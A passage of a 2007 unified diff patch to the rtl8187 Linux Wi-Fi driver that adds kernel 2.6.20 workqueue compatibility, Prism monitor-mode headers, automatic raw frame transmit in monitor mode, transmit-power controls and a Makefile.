the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; @@ -1841,61 +1862,68 @@ void ieee80211_start_master_bss(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); notify_wx_assoc_event(ieee); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ ieee80211_softmac_check_all_nets(ieee); - + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1915,25 +1943,25 @@ /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) ieee80211_randomize_cell(ieee); - + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1942,34 +1970,34 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - + notify_wx_assoc_event(ieee); - + ieee80211_start_send_beacons(ieee); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } @@ -1988,7 +2016,7 @@ * in associating / authenticating phase) start the background scanning. */ ieee80211_softmac_check_all_nets(ieee); - + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1997,10 +2025,10 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->state == IEEE80211_NOLINK) ieee80211_start_scan(ieee); - + spin_unlock_irqrestore(&ieee->lock, flags); } @@ -2008,30 +2036,38 @@ void ieee80211_disassociate(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) ieee80211_reset_queue(ieee); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); notify_wx_assoc_event(ieee); - + } + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -2041,18 +2077,18 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; ieee80211_softmac_check_all_nets(ieee); - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) ieee80211_start_scan(ieee); - + spin_unlock_irqrestore(&ieee->lock, flags); exit: @@ -2062,39 +2098,39 @@ struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - + skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - + skb = ieee80211_get_beacon_(ieee); - if(!skb) + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } @@ -2111,14 +2147,14 @@ { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - + ieee80211_stop_send_beacons(ieee); - + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - + cancel_delayed_work(&ieee->associate_retry_wq); + ieee80211_stop_scan(ieee); ieee80211_disassociate(ieee); @@ -2135,28 +2171,28 @@ void ieee80211_start_protocol(struct ieee80211_device *ieee) { short ch = 0; - + if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - + ieee->set_chan(ieee->dev,ieee->current_network.channel); - + ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2167,18 +2203,18 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) ieee80211_start_bss(ieee); - + else if (ieee->iw_mode == IW_MODE_ADHOC) ieee80211_start_ibss(ieee); - + else if (ieee->iw_mode == IW_MODE_MASTER) ieee80211_start_master_bss(ieee); - + else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode(ieee); } @@ -2186,11 +2222,11 @@ void ieee80211_softmac_init(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2203,7 +2239,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - + init_mgmt_queue(ieee); #if 0 init_timer(&ieee->scan_timer); @@ -2211,7 +2247,7 @@ ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; ieee->associate_timer.function = ieee80211_associate_abort_cb; @@ -2219,28 +2255,37 @@ init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq); +#endif /// INIT_WORK(&ieee->ps_request_tx_ack_wq,(void(*)(void*))ieee->ps_request_tx_ack,ieee->dev);//for ps 07.26 - + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, (void(*)(unsigned long)) ieee80211_sta_ps, (unsigned long)ieee); @@ -2250,20 +2295,20 @@ void ieee80211_softmac_free(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - + static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver @@ -2273,7 +2318,7 @@ return 0; } - + void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ @@ -2285,7 +2330,7 @@ static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2339,7 +2384,7 @@ static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2435,7 +2480,7 @@ struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2600,7 +2645,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2644,7 +2689,7 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } diff -Naur r8187_orig/ieee80211/ieee80211_softmac_wx.c r8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- r8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-05-16 22:00:07.000000000 +0200 @@ -236,7 +236,7 @@ int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); @@ -246,7 +246,7 @@ if (wrqu->mode == IW_MODE_MONITOR){ - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -259,13 +259,37 @@ ieee80211_start_protocol(ieee); } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; + } + + out: up(&ieee->wx_sem); return 0; } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -356,7 +380,11 @@ spin_lock_irqsave(&ieee->lock, flags); if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; +#endif strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; diff -Naur r8187_orig/ieee80211/ieee80211_tx.c r8187_rawtx/ieee80211/ieee80211_tx.c --- r8187_orig/ieee80211/ieee80211_tx.c 2007-12-05 09:53:21.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_tx.c 2007-05-16 22:00:07.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -481,19 +486,19 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - + txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->nr_frags = 1; txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); diff -Naur r8187_orig/Makefile r8187_rawtx/Makefile --- r8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ r8187_rawtx/Makefile 2007-05-13 09:54:38.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C rtl8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./rtl8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C rtl8187 $(@) + +distclean: clean + diff -Naur r8187_orig/rtl8187/ieee80211.h r8187_rawtx/rtl8187/ieee80211.h --- r8187_orig/rtl8187/ieee80211.h 2007-12-05 09:50:41.000000000 +0100 +++ r8187_rawtx/rtl8187/ieee80211.h 2007-05-16 21:51:38.000000000 +0200 @@ -108,6 +108,8 @@ #define ieee80211_start_protocol ieee80211_start_protocol_rtl #define ieee80211_stop_protocol ieee80211_stop_protocol_rtl #define ieee80211_rx_mgt ieee80211_rx_mgt_rtl +#define ieee80211_stop_queue ieee80211_stop_queue_rtl +#define ieee80211_wake_queue ieee80211_wake_queue_rtl typedef struct ieee_param { @@ -193,6 +195,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -1064,10 +1082,15 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct work_struct ps_request_tx_ack_wq;//for ps struct work_struct hw_wakeup_wq; @@ -1390,7 +1413,11 @@ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq(struct work_struct *work); +#else extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +#endif extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, struct iw_request_info *info, diff -Naur r8187_orig/rtl8187/r8180_hw.h r8187_rawtx/rtl8187/r8180_hw.h --- r8187_orig/rtl8187/r8180_hw.h 2007-12-03 12:30:10.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_hw.h 2007-05-16 21:51:38.000000000 +0200 @@ -1,16 +1,16 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official Realtek driver. - Parts of this driver are based on the rtl8180 driver skeleton + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. - Parts of this driver are based on the Intel Pro Wireless + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -20,7 +20,7 @@ #ifndef R8180_HW #define R8180_HW -#define MAX_SLEEP_TIME (10000000) +#define MAX_SLEEP_TIME (10000000) #define MIN_SLEEP_TIME (50000) #define RTL8187_RF_INDEX 0x8225 @@ -80,7 +80,7 @@ #define EPROM_CMD_OPERATING_MODE_SHIFT 6 #define EPROM_CMD_OPERATING_MODE_MASK ((1<<7)|(1<<6)) #define EPROM_CMD_CONFIG 0x3 -#define EPROM_CMD_NORMAL 0 +#define EPROM_CMD_NORMAL 0 #define EPROM_CMD_LOAD 1 #define EPROM_CMD_PROGRAM 2 #define EPROM_CS_SHIFT 3 @@ -193,8 +193,8 @@ -/* - * Operational registers offsets in PCI (I/O) space. +/* + * Operational registers offsets in PCI (I/O) space. * RealTek names are used. */ @@ -310,7 +310,7 @@ /* following are for rtl8185 */ #define RFPinsOutput 0x80 #define RFPinsEnable 0x82 -#define RF_TIMING 0x8c +#define RF_TIMING 0x8c #define RFPinsSelect 0x84 #define ANAPARAM2 0x60 #define RF_PARA 0x88 @@ -339,7 +339,7 @@ #define MIN_RESP_RATE_SHIFT 0 #define RATE_FALLBACK 0xbe /* - * 0x0084 - 0x00D3 is selected to page 1 when PSEn bit (bit0, PSR) + * 0x0084 - 0x00D3 is selected to page 1 when PSEn bit (bit0, PSR) * is set to 1 */ @@ -380,7 +380,7 @@ /* - * 0x0084 - 0x00D3 is selected to page 0 when PSEn bit (bit0, PSR) + * 0x0084 - 0x00D3 is selected to page 0 when PSEn bit (bit0, PSR) * is set to 0 */ @@ -437,7 +437,7 @@ /* - * Bitmasks for specific register functions. + * Bitmasks for specific register functions. * Names are derived from the register name and function name. * * _[] @@ -501,7 +501,7 @@ #define TCR_HWVERID_SHIFT 25 #define TCR_SWPLCPLEN ((1<<24)) #define TCR_PLCP_LEN TCR_SAT // rtl8180 -#define TCR_MXDMA_MASK ((1<<23)|(1<<22)|(1<<21)) +#define TCR_MXDMA_MASK ((1<<23)|(1<<22)|(1<<21)) #define TCR_MXDMA_1024 6 #define TCR_MXDMA_2048 7 #define TCR_MXDMA_SHIFT 21 diff -Naur r8187_orig/rtl8187/r8180_rtl8225.h r8187_rawtx/rtl8187/r8180_rtl8225.h --- r8187_orig/rtl8187/r8180_rtl8225.h 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_rtl8225.h 2007-05-16 21:51:38.000000000 +0200 @@ -48,4 +48,5 @@ extern u32 rtl8225_chan[]; +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); #endif diff -Naur r8187_orig/rtl8187/r8180_wx.c r8187_rawtx/rtl8187/r8180_wx.c --- r8187_orig/rtl8187/r8180_wx.c 2007-03-02 04:22:29.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_wx.c 2007-05-16 21:51:33.000000000 +0200 @@ -21,7 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" - +#include "r8180_rtl8225.h" //#define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, @@ -121,22 +121,72 @@ return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; } +#endif static int r8180_wx_set_rts(struct net_device *dev, struct iw_request_info *info, @@ -836,6 +886,7 @@ } +#if 0 static int r8180_wx_radio_on(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) @@ -871,6 +922,7 @@ return 0; } +#endif static int r8180_wx_set_channelplan(struct net_device *dev, struct iw_request_info *info, @@ -965,8 +1017,8 @@ r8180_wx_get_rts, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -1007,7 +1059,7 @@ }, { SIOCIWFIRSTPRIV + 0x6, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x7, 0, 0, "dummy" @@ -1053,11 +1105,11 @@ }, { SIOCIWFIRSTPRIV + 0x12, - 0, 0, "radioon" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x13, - 0, 0, "radiooff" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x14, @@ -1089,7 +1141,7 @@ dummy, r8180_wx_set_scan_type, dummy, - r8180_wx_set_rawtx, + dummy, dummy, r8180_wx_set_iwmode, r8180_wx_get_iwmode, @@ -1101,8 +1153,8 @@ r8180_wx_get_sigqual, r8180_wx_reset_stats, dummy, - r8180_wx_radio_on, - r8180_wx_radio_off, + dummy, + dummy, r8180_wx_set_channelplan, r8180_wx_get_channelplan, dummy, diff -Naur r8187_orig/rtl8187/r8187_core.c r8187_rawtx/rtl8187/r8187_core.c --- r8187_orig/rtl8187/r8187_core.c 2007-03-28 08:39:13.000000000 +0200 +++ r8187_rawtx/rtl8187/r8187_core.c 2007-05-16 21:51:33.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -83,6 +83,10 @@ #define USB_VENDOR_ID_NETGEAR 0x0846 #endif +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif + static struct usb_device_id rtl8187_usb_id_tbl[] = { {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, @@ -137,7 +141,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -161,10 +165,10 @@ void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +177,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - + struct 